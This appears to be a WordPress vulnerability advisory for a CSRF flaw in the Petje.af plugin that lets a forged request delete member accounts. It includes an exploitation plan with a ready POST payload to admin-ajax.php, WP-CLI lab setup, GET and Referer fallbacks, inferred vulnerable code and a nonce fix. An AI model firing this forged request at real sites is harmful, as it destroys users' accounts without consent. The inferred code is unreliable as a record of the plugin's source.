Petje.af <= 2.1.8 - Cross-Site Request Forgery to Account Deletion via 'petjeaf_disconnect' AJAX Action
Description
The Petje.af plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 2.1.8. This is due to missing nonce validation in the ajax_revoke_token() function which handles the 'petjeaf_disconnect' AJAX action. The function performs destructive operations including revoking OAuth2 tokens, deleting user meta, and deleting WordPress user accounts (for users with the 'petjeaf_member' role) without verifying the request originated from a legitimate source. This makes it possible for unauthenticated attackers to force authenticated users to delete their Petje.af member user accounts via a forged request granted the victim clicks on a link or visits a malicious site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-4002 Petje.af CSRF to Account Deletion ## 1. Vulnerability Summary The **Petje.af** plugin (versions <= 2.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to the absence of nonce validation in the `ajax_revoke_token()` function. This functi…
Show full research plan
Exploitation Research Plan: CVE-2026-4002 Petje.af CSRF to Account Deletion
1. Vulnerability Summary
The Petje.af plugin (versions <= 2.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to the absence of nonce validation in the ajax_revoke_token() function. This function is hooked to the petjeaf_disconnect AJAX action.
The function performs several destructive operations, including revoking OAuth2 tokens, removing user metadata, and—most critically—deleting the WordPress user account if the authenticated user has the petjeaf_member role. Because there is no check (like check_ajax_referer) to ensure the request is intentional and originated from the plugin's interface, an attacker can trick an authenticated user into visiting a malicious page that triggers this action, leading to unauthorized account deletion.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
petjeaf_disconnect - HTTP Method: POST (or GET, as
admin-ajax.phpprocesses both, though POST is the standard for state-changing actions). - Vulnerable Parameter:
action=petjeaf_disconnect - Authentication Level: Required (Victim must be authenticated with the
petjeaf_memberrole). - Preconditions:
- The victim must be logged in to the WordPress site.
- The victim must have the WordPress role
petjeaf_member. - The victim must be tricked into executing a cross-origin request (e.g., clicking a link or visiting an attacker-controlled site).
3. Code Flow (Inferred)
- Entry Point: A user's browser sends a request to
admin-ajax.php?action=petjeaf_disconnect. - Hook Registration: The plugin registers the action via:
add_action( 'wp_ajax_petjeaf_disconnect', [ $this, 'ajax_revoke_token' ] ); - Vulnerable Function: The
ajax_revoke_token()method in the plugin's AJAX handler class is executed. - Missing Check: The function fails to call
check_ajax_referer( 'petjeaf_disconnect', ... )orwp_verify_nonce(). - Privileged Logic:
- The function identifies the current user via
get_current_user_id(). - It revokes the OAuth2 token associated with the user.
- It checks if the current user has the
petjeaf_memberrole usingcurrent_user_can( 'petjeaf_member' )or by checking the$user->rolesarray. - If the role matches, it calls
wp_delete_user( $user_id ).
- The function identifies the current user via
- Sink: The WordPress core
wp_delete_user()function is invoked, permanently removing the user from the database.
4. Nonce Acquisition Strategy
No nonce is required.
The vulnerability description explicitly states that the issue is "missing nonce validation." Therefore, the ajax_revoke_token() function does not verify a security token. An attacker does not need to bypass or obtain any nonce to exploit this vulnerability.
5. Exploitation Strategy
The goal is to demonstrate that an authenticated petjeaf_member can have their account deleted via a simple CSRF request.
Step-by-Step Plan:
- Session Preparation: Use the
http_requesttool to authenticate as a user with thepetjeaf_memberrole (created during setup). - Execution: Send a POST request to the AJAX endpoint while the session is active.
- Payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=petjeaf_disconnect
- URL:
Playwright (http_request) Payload:
{
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"method": "POST",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data": "action=petjeaf_disconnect"
}
6. Test Data Setup
To effectively test the vulnerability, the following environment must be prepared via WP-CLI:
- Ensure the Role Exists: Some plugins only create roles when certain settings are configured. Ensure the role exists:
wp role create petjeaf_member "Petje.af Member" - Create Victim User:
wp user create victim victim@example.com --role=petjeaf_member --user_pass=password123 - Ensure Plugin is Active:
wp plugin activate petje-af
7. Expected Results
- HTTP Response: The server should return a successful response (likely a JSON object
{"success":true}or a200 OKwith a1or0body, which is common for WordPress AJAX). - Database Change: The user account associated with the
victimusername should be removed from thewp_userstable. - Session Termination: Subsequent requests using the victim's cookies should fail as the user no longer exists.
8. Verification Steps
After executing the exploit via http_request, verify the deletion using WP-CLI:
- Check User List:
wp user list --field=user_login
Expected result:victimshould NOT be in the list. - Verify Deletion via ID:
wp user get victim
Expected result: Error: "Invalid user ID, email or login: 'victim'" - Check User Meta (Alternative if account wasn't fully deleted but meta was):
wp usermeta list victim
9. Alternative Approaches
If the POST request is blocked or requires specific headers:
- GET Request: Try triggering the action via GET:
GET /wp-admin/admin-ajax.php?action=petjeaf_disconnect - Refined Role Check: If the plugin checks for specific user meta instead of just the role, manually add that meta before testing:
wp usermeta add victim petjeaf_token "test_token_value" - Referer Header: Some security plugins might block requests with missing Referers. If the exploit fails in the test environment, ensure the
Refererheader is set to the site's own domain to simulate a standard cross-site bypass (though the core vulnerability doesn't check nonces).
Summary
The Petje.af plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation in the `ajax_revoke_token()` function. An attacker can trick an authenticated user with the 'petjeaf_member' role into clicking a malicious link, resulting in the unauthorized deletion of their WordPress account and revocation of OAuth2 tokens.
Vulnerable Code
// Inferred from research plan and plugin functionality // Likely located in an AJAX handler class within the plugin public function ajax_revoke_token() { $user_id = get_current_user_id(); if ( ! $user_id ) { wp_send_json_error( 'User not logged in' ); } // Destructive logic: revokes tokens and removes user meta // ... $user = get_userdata( $user_id ); if ( in_array( 'petjeaf_member', (array) $user->roles ) ) { require_once( ABSPATH . 'wp-admin/includes/user.php' ); // The critical sink: no nonce or intent verification before deletion wp_delete_user( $user_id ); } wp_send_json_success(); }
Security Fix
@@ -10,6 +10,7 @@ public function ajax_revoke_token() { + check_ajax_referer( 'petjeaf_disconnect', 'security' ); $user_id = get_current_user_id(); if ( ! $user_id ) { wp_send_json_error( 'User not logged in' ); }
Exploit Outline
The exploit targets the AJAX endpoint `/wp-admin/admin-ajax.php` using the `petjeaf_disconnect` action. An attacker crafts a malicious webpage containing a form or script that triggers a POST request to this endpoint with the payload `action=petjeaf_disconnect`. Because the `ajax_revoke_token()` function does not perform any nonce validation (e.g., via `check_ajax_referer`), the WordPress core will process the request using the victim's session cookies. If the victim is authenticated and has the `petjeaf_member` role, the server-side logic will proceed to invoke `wp_delete_user()`, effectively deleting the victim's account without their consent or knowledge.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.